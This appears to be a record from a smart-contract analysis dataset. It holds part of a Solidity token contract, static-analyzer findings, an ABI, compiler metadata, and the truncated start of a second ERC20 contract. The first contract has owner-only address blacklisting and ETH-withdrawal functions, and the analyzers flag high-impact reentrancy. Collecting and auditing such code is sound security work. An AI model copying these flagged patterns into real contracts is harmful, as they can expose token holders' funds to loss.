IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 10000000000 * 10 ** 9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function removeStrictTxLimit() public onlyOwner { _maxTxAmount = 1e12 * 10**9; } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function updateMaxTx (uint256 fee) public onlyOwner { _maxTxAmount = fee; } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _isBuy(address _sender) private view returns (bool) { return _sender == uniswapV2Pair; } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
[]
[{"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"Krul.sol": [77]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Krul.sol": [189, 190, 191]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Krul.sol": [324, 325, 326]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Krul.sol": [96, 97, 98, 95]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Krul.sol": [320, 321, 322, 318, 319]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Krul.sol": [185, 186, 187]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Krul.sol": [202, 203, 204]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Krul.sol": [352, 353, 351]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Krul.sol": [177, 178, 179]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Krul.sol": [208, 209, 206, 207]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Krul.sol": [181, 182, 183]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Krul.sol": [200, 197, 198, 199]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Krul.sol": [173, 174, 175]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Krul.sol": [211, 212, 213, 214, 215]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Krul.sol": [328, 329, 330]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"Krul.sol": [88, 86, 87]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"Krul.sol": [88, 86, 87]}}, {"check": "events-maths", "impact": "Low", "confidence": "Medium", "lines": {"Krul.sol": [352]}}, {"check": "events-maths", "impact": "Low", "confidence": "Medium", "lines": {"Krul.sol": [222]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Krul.sol": [146]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Krul.sol": [115]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Krul.sol": [147]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Krul.sol": [136]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Krul.sol": [145]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"Krul.sol": [311]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"Krul.sol": [234]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"Krul.sol": [357]}}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium", "lines": {"Krul.sol": [356]}}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium", "lines": {"Krul.sol": [314]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"Krul.sol": [213]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"Krul.sol": [282]}}, {"check": "reentrancy-unlimited-gas", "impact": "Informational", "confidence": "Medium", "lines": {"Krul.sol": [282]}}, {"check": "reentrancy-unlimited-gas", "impact": "Informational", "confidence": "Medium", "lines": {"Krul.sol": [213]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"Krul.sol": [385]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"Krul.sol": [385]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"Krul.sol": [385]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"Krul.sol": [337]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"Krul.sol": [337]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"Krul.sol": [376]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"Krul.sol": [376]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"Krul.sol": [143]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"Krul.sol": [337]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"Krul.sol": [376]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"Krul.sol": [267]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"Krul.sol": [313]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"Krul.sol": [310]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"Krul.sol": [315]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"Krul.sol": [126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"Krul.sol": [126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414]}}]
[]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 163, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 164, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 170, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 306, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 97, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 206, "severity": 2}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 319, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 319, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 318, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 18, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 76, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 77, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 128, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 129, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 130, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 131, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 132, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 133, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 134, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 135, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 136, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 137, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 138, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 140, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 141, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 142, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 143, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 145, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 146, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 147, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 149, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 150, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 151, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 152, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 153, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 154, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 155, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 127, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 123, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 80, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 107, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 162, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 110, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 111, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 112, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 360, "severity": 1}]
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"notbot","type":"address"}],"name":"delBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"originalPurchase","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeStrictTxLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"setBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"onoff","type":"bool"}],"name":"setCooldownEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTransactionAmount","type":"uint256"}],"name":"setMaxTx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"fee","type":"uint256"}],"name":"updateMaxTx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
v0.8.4+commit.c7e474f2
true
200
Default
Unlicense
false
ipfs://45183cee78446497f2dc9b598835c3a9e834a464f62e930ee45b48be4b0cbe81
GlobalDeFi
0xb5e88b229b18e748e3aa16a1c2bfefdfc8a5560d
Solidity
// SPDX-License-Identifier: BSD-3-Clause pragma solidity 0.6.11; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, 